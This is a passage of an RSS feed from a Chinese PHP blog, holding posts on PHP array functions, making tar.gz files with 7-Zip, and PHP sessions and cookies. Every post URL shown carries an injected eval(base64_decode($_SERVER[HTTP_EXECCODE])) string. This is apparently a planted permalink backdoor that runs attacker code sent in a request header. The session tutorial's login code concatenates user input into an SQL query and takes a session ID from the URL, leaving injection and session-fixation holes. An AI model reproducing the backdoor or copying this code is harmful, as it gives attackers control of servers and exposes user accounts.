print_r ( array_slice ( $input , 2 , - 1 ));<br />
print_r ( array_slice ( $input , 2 , - 1 , true ));</p>
<p>array_splice();<br />
array array_splice ( array&#038;input, int offset [, int length [, array replacement]] )<br />
把input数组中由offset和length指定的单元去掉，如果提供了replacement参数，则用replacement数组中的单元取代。返回一个包含有被移除单元的数组。注意input中的数字键名不被保留。<br />
如果offset非负，则序列将从array中的此偏移量开始。如果offset为负，则序列将从array中距离末端这么远的地方开始。<br />
如果给出了length并且为正，则序列中将具有这么多的单元。如果给出了length并且为负，则序列将终止在距离数组末端这么远的地方。如果省略，则序列将从offset开始一直到array的末端。<br />
具体应用参见手册！</p>
<p>array_intersect();<br />
array array_intersect ( arrayarray1, array array2 [, array ...] )<br />
返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意键名保留不变。<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$array1 =array( &#8220;a&#8221; => &#8220;green&#8221; , &#8220;red&#8221; , &#8220;blue&#8221; );<br />
$array2 = array( &#8220;b&#8221; => &#8220;green&#8221; , &#8220;yellow&#8221; , &#8220;red&#8221; );<br />
$result = array_intersect ( $array1 , $array2 );</p>
<p>array_intersect_assoc();<br />
注意和 array_intersect()不同的是键名也用于比较。</p>
<p>array_diff();<br />
与 array_intersect()类似，只不过它是计算数组的差集</p>
<p>array_diff_assoc();<br />
与 array_intersect_assoc()类似，只不过它是计算数组的差集</p>
<p><strong>Other useful array functions</strong><br />
array_rand();<br />
mixed array_rand ( array input [,int num_req] )<br />
从数组中随机取出一个或多个单元。</p>
<p>shuffle();<br />
bool shuffle ( array &#038;array )<br />
本函数打乱（随机排列单元的顺序）一个数组。<br />
本函数为 array 中的单元赋予新的键名。这将删除原有的键名而不仅是重新排序。</p>
<p>array_sum();<br />
将数组中的所有值的和以整数或浮点数的结果返回。</p>
<p>array_chunk();<br />
array array_chunk ( array input, intsize [, bool preserve_keys] )<br />
将一个数组分割成多个数组，其中每个数组的单元数目由 size 决定。最后一个数组的单元数目可能会少几个。得到的数组是一个多维数组中的单元，其索引从零开始。<br />
将可选参数preserve_keys 设为 TRUE，可以使 PHP 保留输入数组中原来的键名。如果你指定了 FALSE，那每个结果数组将用从零开始的新数字索引。默认值是 FALSE </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/06/16/xnova-fixphp%e6%95%b0%e7%bb%84%e5%85%a5%e9%97%a8/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows使用7Z制作tar.gz压缩格式</title>
		<link>http://blog.debye.org/2009/06/11/windows%e4%bd%bf%e7%94%a87z%e5%88%b6%e4%bd%9ctargz%e5%8e%8b%e7%bc%a9%e6%a0%bc%e5%bc%8f/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/06/11/windows%e4%bd%bf%e7%94%a87z%e5%88%b6%e4%bd%9ctargz%e5%8e%8b%e7%bc%a9%e6%a0%bc%e5%bc%8f/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 05:54:42 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[免费网络信息]]></category>

		<category><![CDATA[文档和工具]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[7Z]]></category>

		<category><![CDATA[tar.gz]]></category>

		<guid isPermaLink="false">http://www.debye.org/?p=913</guid>
		<description><![CDATA[最近要在虚拟主机上面使用在线解压功能，搜索后发现tar.gz格式可以很好的解压。tar.gz 是linux和unix下面比较常用的格式，几个命令就可以把文件压缩打包成tar.gz格式，但是发现这种格式在windows下并不多见，WinRAR、 WinZip等主流压缩工具可以解开，却不能打包生成。如何生成得到tar.gz压缩包，在网上搜了一下发现“7-ZIP”这个软件可以解决这个问题。

经过试验，具体步骤如下：
一、安装7-ZIP 以后，直接在你想要打包的文件上点右键菜单，会有一个7-ZIP的子菜单栏，类似WinRAR和WinZIP的那种右键菜单。然后选“7- ZIP”->“添加到压缩档案”，在弹出来的窗口里有个“压缩格式”的选项，里面并没有tar.gz格式，但是里面有一个Tar格式，第一步就是要先压成tar格式。
二、成功打包为Tar文件后，你会发现这个tar文件包和原来的文件大小几乎一样，也就是说tar本身并没有压缩，而是仅仅把它们打包成一个单独的Tar文件。现在需要做第二步，再在这个tar文件上面点右键，选“7-ZIP”->“添加到压缩档案”，这时候弹出的窗口里再看“压缩格式选项”，发现多了两个刚才没有的，其中就包括“GZip”，是的，这一步就是把tar文件继续压缩成GZip。选择“GZip” 格式后确定，最后结果就是一个新的tar.gz格式的文件。BTW，这个压缩率一般都是50%，比WinRAR差些。
三、上传到服务器上，然后使用一些在线文件管理系统，比如File Manager解开即可。服务器默认是会覆盖掉原来的文件。
]]></description>
			<content:encoded><![CDATA[<p>最近要在虚拟主机上面使用在线解压功能，搜索后发现tar.gz格式可以很好的解压。tar.gz 是linux和unix下面比较常用的格式，几个命令就可以把文件压缩打包成tar.gz格式，但是发现这种格式在windows下并不多见，WinRAR、 WinZip等主流压缩工具可以解开，却不能打包生成。如何生成得到tar.gz压缩包，在网上搜了一下发现“7-ZIP”这个软件可以解决这个问题。<br />
<span id="more-913"></span><br />
经过试验，具体步骤如下：</p>
<p>一、安装7-ZIP 以后，直接在你想要打包的文件上点右键菜单，会有一个7-ZIP的子菜单栏，类似WinRAR和WinZIP的那种右键菜单。然后选“7- ZIP”->“添加到压缩档案”，在弹出来的窗口里有个“压缩格式”的选项，里面并没有tar.gz格式，但是里面有一个Tar格式，第一步就是要先压成tar格式。</p>
<p>二、成功打包为Tar文件后，你会发现这个tar文件包和原来的文件大小几乎一样，也就是说tar本身并没有压缩，而是仅仅把它们打包成一个单独的Tar文件。现在需要做第二步，再在这个tar文件上面点右键，选“7-ZIP”->“添加到压缩档案”，这时候弹出的窗口里再看“压缩格式选项”，发现多了两个刚才没有的，其中就包括“GZip”，是的，这一步就是把tar文件继续压缩成GZip。选择“GZip” 格式后确定，最后结果就是一个新的tar.gz格式的文件。BTW，这个压缩率一般都是50%，比WinRAR差些。</p>
<p>三、上传到服务器上，然后使用一些在线文件管理系统，比如File Manager解开即可。服务器默认是会覆盖掉原来的文件。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/06/11/windows%e4%bd%bf%e7%94%a87z%e5%88%b6%e4%bd%9ctargz%e5%8e%8b%e7%bc%a9%e6%a0%bc%e5%bc%8f/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xnova Fix:PHP Session Cookie</title>
		<link>http://blog.debye.org/2009/06/09/905/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/06/09/905/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 01:49:18 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[PHP学习]]></category>

		<category><![CDATA[Xnova Fix]]></category>

		<category><![CDATA[免费网络信息]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[SESSION]]></category>

		<guid isPermaLink="false">http://www.debye.org/?p=905</guid>
		<description><![CDATA[此信息收集于网上，如果是你的原创，请告诉我，我将修改版权信息。
对比Cookie，Session 是存储在服务器端的会话，相对安全，并且不像 Cookie 那样有存储长度限制。
由于 Session 是以文本文件形式存储在服务器端的，所以不怕客户端修改 Session 内容。实际上在服务器端的 Session 文件，PHP 自动修改 Session 文件的权限，只保留了系统读和写权限，而且不能通过 ftp 修改，所以安全得多。

对于 Cookie 来说，假设我们要验证用户是否登陆，就必须在 Cookie 中保存用户名和密码（可能是 md5 加密后字符串），并在每次请求页面的时候进行验证。如果用户名和密码存储在数据库，每次都要执行一次数据库查询，给数据库造成多余的负担。因为我们并不能只做一次验证。为什么呢？因为客户端 Cookie 中的信息是有可能被修改的。假如你存储 $admin 变量来表示用户是否登陆，$admin 为 true 的时候表示登陆，为 false 的时候表示未登录，在第一次通过验证后将 $admin 等于 true 存储在 Cookie，下次就不用验证了，这样对么？错了，假如有人伪造一个值为 true 的 $admin 变量那不是就立即取的了管理权限么？非常的不安全。
而 Session 就不同了，Session 是存储在服务器端的，远程用户没办法修改 Session 文件的内容，因此我们可以单纯存储一个 $admin 变量来判断是否登陆，首次验证通过后设置 $admin 值为 true，以后判断该值是否为 true，假如不是，转入登陆界面，这样就可以减少很多数据库操作了。而且可以减少每次为了验证 Cookie 而传递密码的不安全性了（Session 验证只需要传递一次，假如你没有使用 SSL 安全协议的话）。即使密码进行了 [...]]]></description>
			<content:encoded><![CDATA[<p>此信息收集于网上，如果是你的原创，请告诉我，我将修改版权信息。<br />
对比Cookie，Session 是存储在服务器端的会话，相对安全，并且不像 Cookie 那样有存储长度限制。</p>
<p>由于 Session 是以文本文件形式存储在服务器端的，所以不怕客户端修改 Session 内容。实际上在服务器端的 Session 文件，PHP 自动修改 Session 文件的权限，只保留了系统读和写权限，而且不能通过 ftp 修改，所以安全得多。<br />
<span id="more-905"></span></p>
<p>对于 Cookie 来说，假设我们要验证用户是否登陆，就必须在 Cookie 中保存用户名和密码（可能是 md5 加密后字符串），并在每次请求页面的时候进行验证。如果用户名和密码存储在数据库，每次都要执行一次数据库查询，给数据库造成多余的负担。因为我们并不能只做一次验证。为什么呢？因为客户端 Cookie 中的信息是有可能被修改的。假如你存储 $admin 变量来表示用户是否登陆，$admin 为 true 的时候表示登陆，为 false 的时候表示未登录，在第一次通过验证后将 $admin 等于 true 存储在 Cookie，下次就不用验证了，这样对么？错了，假如有人伪造一个值为 true 的 $admin 变量那不是就立即取的了管理权限么？非常的不安全。</p>
<p>而 Session 就不同了，Session 是存储在服务器端的，远程用户没办法修改 Session 文件的内容，因此我们可以单纯存储一个 $admin 变量来判断是否登陆，首次验证通过后设置 $admin 值为 true，以后判断该值是否为 true，假如不是，转入登陆界面，这样就可以减少很多数据库操作了。而且可以减少每次为了验证 Cookie 而传递密码的不安全性了（Session 验证只需要传递一次，假如你没有使用 SSL 安全协议的话）。即使密码进行了 md5 加密，也是很容易被截获的。</p>
<p>当然使用 Session 还有很多优点，比如控制容易，可以按照用户自定义存储等（存储于数据库）。我这里就不多说了。</p>
<p>Session 在 php.ini 是否需要设置呢？一般不需要的，因为并不是每个人都有修改 php.ini 的权限，默认 Session 的存放路径是服务器的系统临时文件夹，我们可以自定义存放在自己的文件夹里，这个稍后我会介绍</p>
<p>开始介绍如何创建 Session。非常简单，真的。</p>
<p>启动 Session 会话，并创建一个 $admin 变量：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #666666; font-style: italic;">//  启动 Session </span>
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  声明一个名为 admin 的变量，并赋空值。 </span>
<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;admin&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>如果你使用了 Seesion，或者该 PHP 文件要调用 Session 变量，那么就必须在调用 Session 之前启动它，使用 session_start() 函数。其它都不需要你设置了，PHP 自动完成 Session 文件的创建。</p>
<p>执行完这个程序后，我们可以到系统临时文件夹找到这个 Session 文件，一般文件名形如：sess_4c83638b3b0dbf65583181c2f89168ec，后面是 32 位编码后的随机字符串。用编辑器打开它，看一下它的内容：</p>
<p>admin|N; 一般该内容是这样的结构：</p>
<p>变量名|类型:长度:值; 　　并用分号隔开每个变量。有些是可以省略的，比如长度和类型。</p>
<p>我们来看一下验证程序，假设数据库存储的是用户名和 md5 加密后的密码：</p>
<p>login.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #666666; font-style: italic;">//  表单提交后... </span>
<span style="color: #000088;">$posts</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  清除一些空白符号 </span>
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$posts</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$posts</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span> 
<span style="color: #000088;">$password</span> <span style="color: #339933;">=</span> <span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$posts</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;password&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$posts</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;username&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
&nbsp;
<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT `username` FROM `user` WHERE `password` = '<span style="color: #006699; font-weight: bold;">$password</span>' AND `username` = '<span style="color: #006699; font-weight: bold;">$username</span>'&quot;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  取得查询结果 </span>
<span style="color: #000088;">$userInfo</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$DB</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getRow</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$userInfo</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
    <span style="color: #666666; font-style: italic;">//  当验证通过后，启动 Session </span>
    <span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
    <span style="color: #666666; font-style: italic;">//  注册登陆成功的 admin 变量，并赋值 true </span>
    <span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;admin&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">;</span>  
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> 
    <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;用户名密码错误&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>我们在需要用户验证的页面启动 Session，判断是否登陆：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #666666; font-style: italic;">//  防止全局变量造成安全隐患 </span>
<span style="color: #000088;">$admin</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  启动会话，这步必不可少 </span>
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  判断是否登陆 </span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;admin&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;admin&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">===</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
    <span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;您已经成功登陆&quot;</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> 
    <span style="color: #666666; font-style: italic;">//  验证失败，将 $_SESSION[&quot;admin&quot;] 置为 false</span>
    <span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;admin&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #339933;">;</span> 
    <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;您无权访问&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>是不是很简单呢？将 $_SESSION 看成是存储在服务器端的数组即可，我们注册的每一个变量都是数组的键，跟使用数组没有什么分别。</p>
<p>如果要登出系统怎么办？销毁 Session 即可。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  这种方法是将原来注册的某个变量销毁</span>
<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'admin'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  这种方法是销毁整个 Session 文件</span>
<span style="color: #990000;">session_destroy</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Session 能否像 Cookie 那样设置生存周期呢？有了 Session 是否就完全抛弃 Cookie 呢？我想说，结合 Cookie 来使用 Session 才是最方便的。</p>
<p>Session 是如何来判断客户端用户的呢？它是通过 Session ID 来判断的，什么是 Session ID，就是那个 Session 文件的文件名，Session ID 是随机生成的，因此能保证唯一性和随机性，确保 Session 的安全。一般如果没有设置 Session 的生存周期，则 Session ID 存储在内存中，关闭浏览器后该 ID 自动注销，重新请求该页面后，重新注册一个 Session ID。</p>
<p>如果客户端没有禁用 Cookie，则 Cookie 在启动 Session 会话的时候扮演的是存储 Session ID 和 Session 生存期的角色。</p>
<p>我们来手动设置 Session 的生存期：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  保存一天 </span>
<span style="color: #000088;">$lifeTime</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">3600</span><span style="color: #339933;">;</span> 
<span style="color: #990000;">setcookie</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">session_name</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #990000;">session_id</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$lifeTime</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>其实 Session 还提供了一个函数 session_set_cookie_params(); 来设置 Session 的生存期的，该函数必须在 session_start() 函数调用之前调用：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #666666; font-style: italic;">//  保存一天 </span>
<span style="color: #000088;">$lifeTime</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">3600</span><span style="color: #339933;">;</span> 
<span style="color: #990000;">session_set_cookie_params</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$lifeTime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;admin&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>如果客户端使用 IE 6.0 ， session_set_cookie_params(); 函数设置 Cookie 会有些问题，所以我们还是手动调用 setcookie 函数来创建 cookie。</p>
<p>假设客户端禁用 Cookie 怎么办？没办法，所有生存周期都是浏览器进程了，只要关闭浏览器，再次请求页面又得重新注册 Session。那么怎么传递 Session ID 呢？通过 URL 或者通过隐藏表单来传递，PHP 会自动将 Session ID 发送到 URL 上，URL 形如：http://www.openphp.cn /index.php?PHPSESSID=bba5b2a240a77e5b44cfa01d49cf9669，其中 URL 中的参数 PHPSESSID 就是 Session ID了，我们可以使用 $_GET 来获取该值，从而实现 Session ID 页面间传递。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #666666; font-style: italic;">//  保存一天 </span>
<span style="color: #000088;">$lifeTime</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">3600</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  取得当前 Session 名，默认为 PHPSESSID </span>
<span style="color: #000088;">$sessionName</span> <span style="color: #339933;">=</span> <span style="color: #990000;">session_name</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  取得 Session ID </span>
<span style="color: #000088;">$sessionID</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$sessionName</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  使用 session_id() 设置获得的 Session ID </span>
<span style="color: #990000;">session_id</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sessionID</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
<span style="color: #990000;">session_set_cookie_params</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$lifeTime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'admin'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>对于虚拟主机来说，如果所有用户的 Session 都保存在系统临时文件夹里，将给维护造成困难，而且降低了安全性，我们可以手动设置 Session 文件的保存路径，session_save_path() 就提供了这样一个功能。我们可以将 Session 存放目录指向一个不能通过 Web 方式访问的文件夹，当然，该文件夹必须具备可读写属性。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #666666; font-style: italic;">//  设置一个存放目录 </span>
<span style="color: #000088;">$savePath</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'./session_save_dir/'</span><span style="color: #339933;">;</span> 
<span style="color: #666666; font-style: italic;">//  保存一天 </span>
<span style="color: #000088;">$lifeTime</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">3600</span><span style="color: #339933;">;</span> 
<span style="color: #990000;">session_save_path</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$savePath</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #990000;">session_set_cookie_params</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$lifeTime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'admin'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>同 session_set_cookie_params(); 函数一样，session_save_path() 函数也必须在 session_start() 函数调用之前调用。</p>
<p>我们还可以将数组，对象存储在 Session 中。操作数组和操作一般变量没有什么区别，而保存对象的话，PHP 会自动对对象进行序列化（也叫串行化），然后保存于 Session 中。下面例子说明了这一点</p>
<p>person.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #000000; font-weight: bold;">class</span> person <span style="color: #009900;">&#123;</span> 
    <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$age</span><span style="color: #339933;">;</span> 
    <span style="color: #000000; font-weight: bold;">function</span> output<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
        <span style="color: #990000;">echo</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">age</span><span style="color: #339933;">;</span> 
    <span style="color: #009900;">&#125;</span> 
    <span style="color: #000000; font-weight: bold;">function</span> setAge<span style="color: #009900;">&#40;</span><span style="color: #000088;">$age</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">age</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$age</span><span style="color: #339933;">;</span> 
    <span style="color: #009900;">&#125;</span> 
<span style="color: #009900;">&#125;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>setage.php</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #b1b100;">require_once</span> <span style="color: #0000ff;">'person.php'</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$person</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> person<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
